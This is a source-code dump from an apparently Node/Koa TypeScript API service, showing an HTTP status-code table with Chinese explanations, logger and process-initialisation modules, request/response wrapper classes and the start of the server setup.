11 | NO_CONTENT: 204, //服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾
12 | RESET_CONTENT: 205, //服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束
13 | PARTIAL_CONTENT: 206, //服务器已经成功处理了部分 GET 请求。类似于FlashGet或者迅雷这类的HTTP下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。响应必须包含如下的头部域:Content-Range 用以指示本次响应中返回的内容的范围;如果是Content-Type为multipart/byteranges的多段下载,则每一段multipart中都应包含Content-Range域用以指示本段的内容范围。假如响应中包含Content-Length,那么它的数值必须匹配它返回的内容范围的真实字节数。Date和ETag或Content-Location,假如同样的请求本应该返回200响应。Expires, Cache-Control,和/或 Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。假如本响应请求使用了 If-Range 强缓存验证,那么本次响应不应该包含其他实体头;假如本响应的请求使用了 If-Range 弱缓存验证,那么本次响应禁止包含其他实体头;这避免了缓存的实体内容和更新了的实体头信息之间的不一致。否则,本响应就应当包含所有本应该返回200响应中应当返回的所有实体头部域。假如 ETag 或 Latest-Modified 头部不能精确匹配的话,则客户端缓存应禁止将206响应返回的内容与之前任何缓存过的内容组合在一起。任何不支持 Range 以及 Content-Range 头的缓存都禁止缓存206响应返回的内容
14 | MULTIPLE_STATUS: 207, //代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码
15 |
16 | MULTIPLE_CHOICES: 300, //被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。除非这是一个HEAD请求,否则该响应应当包括一个资源特性及地址的列表的实体,以便用户或浏览器从中选择最合适的重定向地址。这个实体的格式由Content-Type定义的格式所决定。浏览器可能根据响应的格式以及浏览器自身能力,自动作出最合适的选择。当然,RFC 2616规范并没有规定这样的自动选择该如何进行。如果服务器本身已经有了首选的回馈选择,那么在Location中应当指明这个回馈的 URI;浏览器可能会将这个 Location 值作为自动重定向的地址。此外,除非额外指定,否则这个响应也是可缓存的
17 | MOVED_PERMANENTLY: 301, //被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个URI之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。新的永久性的URI应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。如果这不是一个GET或者HEAD请求,因此浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。注意:对于某些使用 HTTP/1.0 协议的浏览器,当它们发送的POST请求得到了一个301响应的话,接下来的重定向请求将会变成GET方式
18 | FOUND: 302, //请求的资源现在临时从不同的URI响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。新的临时性的URI应当在响应的 Location 域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。如果这不是一个GET或者HEAD请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。注意:虽然RFC 1945和RFC 2068规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将302响应视作为303响应,并且使用GET方式访问在Location中规定的URI,而无视原先请求的方法。状态码303和307被添加了进来,用以明确服务器期待客户端进行何种反应
19 | SEE_OTHER: 303, //对应当前请求的响应可以在另一个URI上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。这个新的 URI 不是原始资源的替代引用。同时,303响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。新的 URI 应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。注意:许多 HTTP/1.1 版以前的浏览器不能正确理解303状态。如果需要考虑与这些浏览器之间的互动,302状态码应该可以胜任,因为大多数的浏览器处理302响应时的方式恰恰就是上述规范要求客户端处理303响应时应当做的
20 | NOT_MODIFIED: 304, //如果客户端发送了一个带条件的GET请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。该响应必须包含以下的头信息:Date,除非这个服务器没有时钟。假如没有时钟的服务器也遵守这些规则,那么代理服务器以及客户端可以自行将Date字段添加到接收到的响应头中去(正如RFC 2068中规定的一样),缓存机制将会正常工作。ETag或 Content-Location,假如同样的请求本应返回200响应。Expires, Cache-Control,和/或Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。假如本响应请求使用了强缓存验证,那么本次响应不应该包含其他实体头;否则(例如,某个带条件的 GET 请求使用了弱缓存验证),本次响应禁止包含其他实体头;这避免了缓存了的实体内容和更新了的实体头信息之间的不一致。假如某个304响应指明了当前某个实体没有缓存,那么缓存系统必须忽视这个响应,并且重复发送不包含限制条件的请求。假如接收到一个要求更新某个缓存条目的304响应,那么缓存系统必须更新整个条目以反映所有在响应中被更新的字段的值
21 | USE_PROXY: 305, //被请求的资源必须通过指定的代理才能被访问。Location域中将给出指定的代理所在的URI信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。注意:RFC 2068中没有明确305响应是为了重定向一个单独的请求,而且只能被原始服务器建立。忽视这些限制可能导致严重的安全后果
22 | UNUSED: 306, //在最新版的规范中,306状态码已经不再被使用
23 | TEMPORARY_REDIRECT: 307, //请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。新的临时性的URI 应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI 的超链接及简短说明。因为部分浏览器不能识别307响应,因此需要添加上述必要信息以便用户能够理解并向新的 URI 发出访问请求。如果这不是一个GET或者HEAD请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化
24 |
25 | BAD_REQUEST: 400, //1.语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求 2.请求参数有误
26 | UNAUTHORIZED: 401, //当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。参见RFC 2617
27 | PAYMENT_REQUIRED: 402, //该状态码是为了将来可能的需求而预留的
28 | FORBIDDEN: 403, //服务器已经理解请求,但是拒绝执行它。与401响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个HEAD请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个404响应,假如它不希望让客户端获得任何信息
29 | NOT_FOUND: 404, //请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下
30 | METHOD_NOT_ALLOWED: 405, //请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。鉴于PUT,DELETE方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误
31 | NO_ACCEPTABLE: 406, //请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。除非这是一个 HEAD 请求,否则该响应就应当返回一个包含可以让用户或者浏览器从中选择最合适的实体特性以及地址列表的实体。实体的格式由Content-Type头中定义的媒体类型决定。浏览器可以根据格式及自身能力自行作出最佳选择。但是,规范中并没有定义任何作出此类自动选择的标准
32 | PROXY_AUTHENTICATION_REQUIRED: 407, //与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个Proxy-Authenticate用以进行身份询问。客户端可以返回一个Proxy-Authorization信息头用以验证。参见RFC 2617
33 | REQUEST_TIMEOUT: 408, //请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改
34 | CONFLICT: 409, //由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。冲突通常发生于对PUT请求的处理中。例如,在采用版本检查的环境下,某次PUT提交的对特定资源的修改请求所附带的版本信息与之前的某个(第三方)请求向冲突,那么此时服务器就应该返回一个409错误,告知用户请求无法完成。此时,响应实体中很可能会包含两个冲突版本之间的差异比较,以便用户重新提交归并以后的新版本
35 | GONE: 410, //被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用404状态码。除非额外说明,否则这个响应是可缓存的。410响应的目的主要是帮助网站管理员维护网站,通知用户该资源已经不再可用,并且服务器拥有者希望所有指向这个资源的远端连接也被删除。这类事件在限时、增值服务中很普遍。同样,410响应也被用于通知客户端在当前服务器站点上,原本属于某个个人的资源已经不再可用。当然,是否需要把所有永久不可用的资源标记为'410 Gone',以及是否需要保持此标记多长时间,完全取决于服务器拥有者
36 | LENGTH_REQUIRED: 411, //服务器拒绝在没有定义Content-Length头的情况下接受请求。在添加了表明请求消息体长度的有效Content-Length头之后,客户端可以再次提交该请求
37 | PRECONDITION_FAILED: 412, //服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上
38 | REQUEST_ENTITY_TOO_LARGE: 413, //服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试
39 | REQUEST_URI_TOO_LONG: 414, //请求的URI长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。重定向URI “黑洞”,例如每次重定向把旧的URI作为新的URI的一部分,导致在若干次重定向后URI超长。客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器。这类服务器使用固定长度的缓冲读取或操作请求的URI,当GET后的参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行[1]。没有此类漏洞的服务器,应当返回414状态码
40 | UNSUPPORTED_MEDIA_TYPE: 415, //对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝
41 | REQUESTED_RANGE_NOT_SATISFIABLE: 416, //如果请求中包含了Range请求头,并且Range中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义If-Range请求头,那么服务器就应当返回416状态码。假如Range使用的是字节范围,那么这种情况就是指请求指定的所有数据范围的首字节位置都超过了当前资源的长度。服务器也应当在返回416状态码的同时,包含一个Content-Range实体头,用以指明当前资源的长度。这个响应也被禁止使用multipart/byteranges作为其 Content-Type
42 | EXPECTION_FAILED: 417, //在请求头Expect中指定的预期内容无法被服务器满足,或者这个服务器是一个代理服务器,它有明显的证据证明在当前路由的下一个节点上,Expect的内容无法被满足
43 | TOO_MANY_CONNECTIONS: 421, //从当前客户端所在的IP地址到服务器的连接数超过了服务器许可的最大范围。通常,这里的IP地址指的是从服务器上看到的客户端地址(比如用户的网关或者代理服务器地址)。在这种情况下,连接数的计算可能涉及到不止一个终端用户
44 | UNPROCESSABLE_ENTITY: 422, //请求格式正确,但是由于含有语义错误,无法响应
45 | FAILED_DEPENDENCY: 424, //由于之前的某个请求发生的错误,导致当前请求失败,例如PROPPATCH
46 | UNORDERED_COLLECTION: 425, //在WebDav Advanced Collections 草案中定义,但是未出现在《WebDAV 顺序集协议》(RFC 3658)中
47 | UPGRADE_REQUIRED: 426, //客户端应当切换到TLS/1.0
48 | RETRY_WITH: 449, //由微软扩展,代表请求应当在执行完适当的操作后进行重试
49 |
50 | INTERNAL_SERVER_ERROR: 500, //服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器的程序码出错时出现
51 | NOT_IMPLEMENTED: 501, //服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求
52 | BAD_GATEWAY: 502, //作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应
53 | SERVICE_UNAVAILABLE: 503, //由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。如果能够预计延迟时间,那么响应中可以包含一个 Retry-After 头用以标明这个延迟时间。如果没有给出这个 Retry-After 信息,那么客户端应当以处理500响应的方式处理它。注意:503状态码的存在并不意味着服务器在过载的时候必须使用它。某些服务器只不过是希望拒绝客户端的连接
54 | GATEWAY_TIMEOUT: 504, //作为网关或者代理工作的服务器尝试执行请求时,未能及时从上游服务器(URI标识出的服务器,例如HTTP、FTP、LDAP)或者辅助服务器(例如DNS)收到响应。注意:某些代理服务器在DNS查询超时时会返回400或者500错误
55 | HTTP_VERSION_NOT_SUPPORTED: 505, //服务器不支持,或者拒绝支持在请求中使用的HTTP版本。这暗示着服务器不能或不愿使用与客户端相同的版本。响应中应当包含一个描述了为何版本不被支持以及服务器支持哪些协议的实体
56 | VARIANT_ALSO_NEGOTIATES: 506, //服务器存在内部配置错误:被请求的协商变元资源被配置为在透明内容协商中使用自己,因此在一个协商处理中不是一个合适的重点
57 | INSUFFICIENT_STORAGE: 507, //服务器无法存储完成请求所必须的内容。这个状况被认为是临时的
58 | BANDWIDTH_LIMIT_EXCEEDED: 509, //服务器达到带宽限制。这不是一个官方的状态码,但是仍被广泛使用
59 | NOT_EXTENDED: 510 //获取资源所需要的策略并没有没满足
60 |
61 | };
--------------------------------------------------------------------------------
/src/lib/initialize.ts:
--------------------------------------------------------------------------------
1 | import logger from './logger.js';
2 |
3 | // 允许无限量的监听器
4 | process.setMaxListeners(Infinity);
5 | // 输出未捕获异常
6 | process.on("uncaughtException", (err, origin) => {
7 | logger.error(`An unhandled error occurred: ${origin}`, err);
8 | });
9 | // 输出未处理的Promise.reject
10 | process.on("unhandledRejection", (_, promise) => {
11 | promise.catch(err => logger.error("An unhandled rejection occurred:", err));
12 | });
13 | // 输出系统警告信息
14 | process.on("warning", warning => logger.warn("System warning: ", warning));
15 | // 进程退出监听
16 | process.on("exit", () => {
17 | logger.info("Service exit");
18 | logger.footer();
19 | });
20 | // 进程被kill
21 | process.on("SIGTERM", () => {
22 | logger.warn("received kill signal");
23 | process.exit(2);
24 | });
25 | // Ctrl-C进程退出
26 | process.on("SIGINT", () => {
27 | process.exit(0);
28 | });
--------------------------------------------------------------------------------
/src/lib/interfaces/ICompletionMessage.ts:
--------------------------------------------------------------------------------
1 | export default interface ICompletionMessage {
2 | role: 'system' | 'assistant' | 'user' | 'function';
3 | content: string;
4 | }
--------------------------------------------------------------------------------
/src/lib/logger.ts:
--------------------------------------------------------------------------------
1 | import path from 'path';
2 | import _util from 'util';
3 |
4 | import 'colors';
5 | import _ from 'lodash';
6 | import fs from 'fs-extra';
7 | import { format as dateFormat } from 'date-fns';
8 |
9 | import config from './config.ts';
10 | import util from './util.ts';
11 |
12 | const isVercelEnv = process.env.VERCEL;
13 |
14 | class LogWriter {
15 |
16 | #buffers = [];
17 |
18 | constructor() {
19 | !isVercelEnv && fs.ensureDirSync(config.system.logDirPath);
20 | !isVercelEnv && this.work();
21 | }
22 |
23 | push(content) {
24 | const buffer = Buffer.from(content);
25 | this.#buffers.push(buffer);
26 | }
27 |
28 | writeSync(buffer) {
29 | !isVercelEnv && fs.appendFileSync(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), buffer);
30 | }
31 |
32 | async write(buffer) {
33 | !isVercelEnv && await fs.appendFile(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), buffer);
34 | }
35 |
36 | flush() {
37 | if(!this.#buffers.length) return;
38 | !isVercelEnv && fs.appendFileSync(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), Buffer.concat(this.#buffers));
39 | }
40 |
41 | work() {
42 | if (!this.#buffers.length) return setTimeout(this.work.bind(this), config.system.logWriteInterval);
43 | const buffer = Buffer.concat(this.#buffers);
44 | this.#buffers = [];
45 | this.write(buffer)
46 | .finally(() => setTimeout(this.work.bind(this), config.system.logWriteInterval))
47 | .catch(err => console.error("Log write error:", err));
48 | }
49 |
50 | }
51 |
52 | class LogText {
53 |
54 | /** @type {string} 日志级别 */
55 | level;
56 | /** @type {string} 日志文本 */
57 | text;
58 | /** @type {string} 日志来源 */
59 | source;
60 | /** @type {Date} 日志发生时间 */
61 | time = new Date();
62 |
63 | constructor(level, ...params) {
64 | this.level = level;
65 | this.text = _util.format.apply(null, params);
66 | this.source = this.#getStackTopCodeInfo();
67 | }
68 |
69 | #getStackTopCodeInfo() {
70 | const unknownInfo = { name: "unknown", codeLine: 0, codeColumn: 0 };
71 | const stackArray = new Error().stack.split("\n");
72 | const text = stackArray[4];
73 | if (!text)
74 | return unknownInfo;
75 | const match = text.match(/at (.+) \((.+)\)/) || text.match(/at (.+)/);
76 | if (!match || !_.isString(match[2] || match[1]))
77 | return unknownInfo;
78 | const temp = match[2] || match[1];
79 | const _match = temp.match(/([a-zA-Z0-9_\-\.]+)\:(\d+)\:(\d+)$/);
80 | if (!_match)
81 | return unknownInfo;
82 | const [, scriptPath, codeLine, codeColumn] = _match as any;
83 | return {
84 | name: scriptPath ? scriptPath.replace(/.js$/, "") : "unknown",
85 | path: scriptPath || null,
86 | codeLine: parseInt(codeLine || 0),
87 | codeColumn: parseInt(codeColumn || 0)
88 | };
89 | }
90 |
91 | toString() {
92 | return `[${dateFormat(this.time, "yyyy-MM-dd HH:mm:ss.SSS")}][${this.level}][${this.source.name}<${this.source.codeLine},${this.source.codeColumn}>] ${this.text}`;
93 | }
94 |
95 | }
96 |
97 | class Logger {
98 |
99 | /** @type {Object} 系统配置 */
100 | config = {};
101 | /** @type {Object} 日志级别映射 */
102 | static Level = {
103 | Success: "success",
104 | Info: "info",
105 | Log: "log",
106 | Debug: "debug",
107 | Warning: "warning",
108 | Error: "error",
109 | Fatal: "fatal"
110 | };
111 | /** @type {Object} 日志级别文本颜色樱色 */
112 | static LevelColor = {
113 | [Logger.Level.Success]: "green",
114 | [Logger.Level.Info]: "brightCyan",
115 | [Logger.Level.Debug]: "white",
116 | [Logger.Level.Warning]: "brightYellow",
117 | [Logger.Level.Error]: "brightRed",
118 | [Logger.Level.Fatal]: "red"
119 | };
120 | #writer;
121 |
122 | constructor() {
123 | this.#writer = new LogWriter();
124 | }
125 |
126 | header() {
127 | this.#writer.writeSync(Buffer.from(`\n\n===================== LOG START ${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")} =====================\n\n`));
128 | }
129 |
130 | footer() {
131 | this.#writer.flush(); //将未写入文件的日志缓存写入
132 | this.#writer.writeSync(Buffer.from(`\n\n===================== LOG END ${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")} =====================\n\n`));
133 | }
134 |
135 | success(...params) {
136 | const content = new LogText(Logger.Level.Success, ...params).toString();
137 | console.info(content[Logger.LevelColor[Logger.Level.Success]]);
138 | this.#writer.push(content + "\n");
139 | }
140 |
141 | info(...params) {
142 | const content = new LogText(Logger.Level.Info, ...params).toString();
143 | console.info(content[Logger.LevelColor[Logger.Level.Info]]);
144 | this.#writer.push(content + "\n");
145 | }
146 |
147 | log(...params) {
148 | const content = new LogText(Logger.Level.Log, ...params).toString();
149 | console.log(content[Logger.LevelColor[Logger.Level.Log]]);
150 | this.#writer.push(content + "\n");
151 | }
152 |
153 | debug(...params) {
154 | if(!config.system.debug) return; //非调试模式忽略debug
155 | const content = new LogText(Logger.Level.Debug, ...params).toString();
156 | console.debug(content[Logger.LevelColor[Logger.Level.Debug]]);
157 | this.#writer.push(content + "\n");
158 | }
159 |
160 | warn(...params) {
161 | const content = new LogText(Logger.Level.Warning, ...params).toString();
162 | console.warn(content[Logger.LevelColor[Logger.Level.Warning]]);
163 | this.#writer.push(content + "\n");
164 | }
165 |
166 | error(...params) {
167 | const content = new LogText(Logger.Level.Error, ...params).toString();
168 | console.error(content[Logger.LevelColor[Logger.Level.Error]]);
169 | this.#writer.push(content);
170 | }
171 |
172 | fatal(...params) {
173 | const content = new LogText(Logger.Level.Fatal, ...params).toString();
174 | console.error(content[Logger.LevelColor[Logger.Level.Fatal]]);
175 | this.#writer.push(content);
176 | }
177 |
178 | destory() {
179 | this.#writer.destory();
180 | }
181 |
182 | }
183 |
184 | export default new Logger();
--------------------------------------------------------------------------------
/src/lib/request/Request.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | import APIException from '@/lib/exceptions/APIException.ts';
4 | import EX from '@/api/consts/exceptions.ts';
5 | import logger from '@/lib/logger.ts';
6 | import util from '@/lib/util.ts';
7 |
8 | export interface RequestOptions {
9 | time?: number;
10 | }
11 |
12 | export default class Request {
13 |
14 | /** 请求方法 */
15 | method: string;
16 | /** 请求URL */
17 | url: string;
18 | /** 请求路径 */
19 | path: string;
20 | /** 请求载荷类型 */
21 | type: string;
22 | /** 请求headers */
23 | headers: any;
24 | /** 请求原始查询字符串 */
25 | search: string;
26 | /** 请求查询参数 */
27 | query: any;
28 | /** 请求URL参数 */
29 | params: any;
30 | /** 请求载荷 */
31 | body: any;
32 | /** 上传的文件 */
33 | files: any[];
34 | /** 客户端IP地址 */
35 | remoteIP: string | null;
36 | /** 请求接受时间戳(毫秒) */
37 | time: number;
38 |
39 | constructor(ctx, options: RequestOptions = {}) {
40 | const { time } = options;
41 | this.method = ctx.request.method;
42 | this.url = ctx.request.url;
43 | this.path = ctx.request.path;
44 | this.type = ctx.request.type;
45 | this.headers = ctx.request.headers || {};
46 | this.search = ctx.request.search;
47 | this.query = ctx.query || {};
48 | this.params = ctx.params || {};
49 | this.body = ctx.request.body || {};
50 | this.files = ctx.request.files || {};
51 | this.remoteIP = this.headers["X-Real-IP"] || this.headers["x-real-ip"] || this.headers["X-Forwarded-For"] || this.headers["x-forwarded-for"] || ctx.ip || null;
52 | this.time = Number(_.defaultTo(time, util.timestamp()));
53 | }
54 |
55 | validate(key: string, fn?: Function) {
56 | try {
57 | const value = _.get(this, key);
58 | if (fn) {
59 | if (fn(value) === false)
60 | throw `[Mismatch] -> ${fn}`;
61 | }
62 | else if (_.isUndefined(value))
63 | throw '[Undefined]';
64 | }
65 | catch (err) {
66 | logger.warn(`Params ${key} invalid:`, err);
67 | throw new APIException(EX.API_REQUEST_PARAMS_INVALID, `Params ${key} invalid`);
68 | }
69 | return this;
70 | }
71 |
72 | }
--------------------------------------------------------------------------------
/src/lib/response/Body.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | export interface BodyOptions {
4 | code?: number;
5 | message?: string;
6 | data?: any;
7 | statusCode?: number;
8 | }
9 |
10 | export default class Body {
11 |
12 | /** 状态码 */
13 | code: number;
14 | /** 状态消息 */
15 | message: string;
16 | /** 载荷 */
17 | data: any;
18 | /** HTTP状态码 */
19 | statusCode: number;
20 |
21 | constructor(options: BodyOptions = {}) {
22 | const { code, message, data, statusCode } = options;
23 | this.code = Number(_.defaultTo(code, 0));
24 | this.message = _.defaultTo(message, 'OK');
25 | this.data = _.defaultTo(data, null);
26 | this.statusCode = Number(_.defaultTo(statusCode, 200));
27 | }
28 |
29 | toObject() {
30 | return {
31 | code: this.code,
32 | message: this.message,
33 | data: this.data
34 | };
35 | }
36 |
37 | static isInstance(value) {
38 | return value instanceof Body;
39 | }
40 |
41 | }
--------------------------------------------------------------------------------
/src/lib/response/FailureBody.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | import Body from './Body.ts';
4 | import Exception from '../exceptions/Exception.ts';
5 | import APIException from '../exceptions/APIException.ts';
6 | import EX from '../consts/exceptions.ts';
7 | import HTTP_STATUS_CODES from '../http-status-codes.ts';
8 |
9 | export default class FailureBody extends Body {
10 |
11 | constructor(error: APIException | Exception | Error, _data?: any) {
12 | let errcode, errmsg, data = _data, httpStatusCode = HTTP_STATUS_CODES.OK;;
13 | if(_.isString(error))
14 | error = new Exception(EX.SYSTEM_ERROR, error);
15 | else if(error instanceof APIException || error instanceof Exception)
16 | ({ errcode, errmsg, data, httpStatusCode } = error);
17 | else if(_.isError(error))
18 | ({ errcode, errmsg, data, httpStatusCode } = new Exception(EX.SYSTEM_ERROR, error.message));
19 | super({
20 | code: errcode || -1,
21 | message: errmsg || 'Internal error',
22 | data,
23 | statusCode: httpStatusCode
24 | });
25 | }
26 |
27 | static isInstance(value) {
28 | return value instanceof FailureBody;
29 | }
30 |
31 | }
--------------------------------------------------------------------------------
/src/lib/response/Response.ts:
--------------------------------------------------------------------------------
1 | import mime from 'mime';
2 | import _ from 'lodash';
3 |
4 | import Body from './Body.ts';
5 | import util from '../util.ts';
6 |
7 | export interface ResponseOptions {
8 | statusCode?: number;
9 | type?: string;
10 | headers?: Record;
11 | redirect?: string;
12 | body?: any;
13 | size?: number;
14 | time?: number;
15 | }
16 |
17 | export default class Response {
18 |
19 | /** 响应HTTP状态码 */
20 | statusCode: number;
21 | /** 响应内容类型 */
22 | type: string;
23 | /** 响应headers */
24 | headers: Record;
25 | /** 重定向目标 */
26 | redirect: string;
27 | /** 响应载荷 */
28 | body: any;
29 | /** 响应载荷大小 */
30 | size: number;
31 | /** 响应时间戳 */
32 | time: number;
33 |
34 | constructor(body: any, options: ResponseOptions = {}) {
35 | const { statusCode, type, headers, redirect, size, time } = options;
36 | this.statusCode = Number(_.defaultTo(statusCode, Body.isInstance(body) ? body.statusCode : undefined))
37 | this.type = type;
38 | this.headers = headers;
39 | this.redirect = redirect;
40 | this.size = size;
41 | this.time = Number(_.defaultTo(time, util.timestamp()));
42 | this.body = body;
43 | }
44 |
45 | injectTo(ctx) {
46 | this.redirect && ctx.redirect(this.redirect);
47 | this.statusCode && (ctx.status = this.statusCode);
48 | this.type && (ctx.type = mime.getType(this.type) || this.type);
49 | const headers = this.headers || {};
50 | if(this.size && !headers["Content-Length"] && !headers["content-length"])
51 | headers["Content-Length"] = this.size;
52 | ctx.set(headers);
53 | if(Body.isInstance(this.body))
54 | ctx.body = this.body.toObject();
55 | else
56 | ctx.body = this.body;
57 | }
58 |
59 | static isInstance(value) {
60 | return value instanceof Response;
61 | }
62 |
63 | }
--------------------------------------------------------------------------------
/src/lib/response/SuccessfulBody.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | import Body from './Body.ts';
4 |
5 | export default class SuccessfulBody extends Body {
6 |
7 | constructor(data: any, message?: string) {
8 | super({
9 | code: 0,
10 | message: _.defaultTo(message, "OK"),
11 | data
12 | });
13 | }
14 |
15 | static isInstance(value) {
16 | return value instanceof SuccessfulBody;
17 | }
18 |
19 | }
--------------------------------------------------------------------------------
/src/lib/server.ts:
--------------------------------------------------------------------------------
1 | import Koa from 'koa';
2 | import KoaRouter from 'koa-router';
3 | import koaRange from 'koa-range';
4 | import koaCors from "koa2-cors";
5 | import koaBody from 'koa-body';
6 | import _ from 'lodash';
7 |
8 | import Exception from './exceptions/Exception.ts';
9 | import Request from './request/Request.ts';
10 | import Response from './response/Response.js';
11 | import FailureBody from './response/FailureBody.ts';
12 | import EX from './consts/exceptions.ts';
13 | import logger from './logger.ts';
14 | import config from './config.ts';
15 |
16 | class Server {
17 |
18 | app;
19 | router;
20 |
21 | constructor() {
22 | this.app = new Koa();
23 | this.app.use(koaCors());
24 | // 范围请求支持
25 | this.app.use(koaRange);
26 | this.router = new KoaRouter({ prefix: config.service.urlPrefix });
27 | // 前置处理异常拦截
28 | this.app.use(async (ctx: any, next: Function) => {
29 | if(ctx.request.type === "application/xml" || ctx.request.type === "application/ssml+xml")
30 | ctx.req.headers["content-type"] = "text/xml";
31 | try { await next() }
32 | catch (err) {
33 | logger.error(err);
34 | const failureBody = new FailureBody(err);
35 | new Response(failureBody).injectTo(ctx);
36 | }
37 | });
38 | // 载荷解析器支持
39 | this.app.use(koaBody(_.clone(config.system.requestBody)));
40 | this.app.on("error", (err: any) => {
41 | // 忽略连接重试、中断、管道、取消错误
42 | if (["ECONNRESET", "ECONNABORTED", "EPIPE", "ECANCELED"].includes(err.code)) return;
43 | logger.error(err);
44 | });
45 | logger.success("Server initialized");
46 | }
47 |
48 | /**
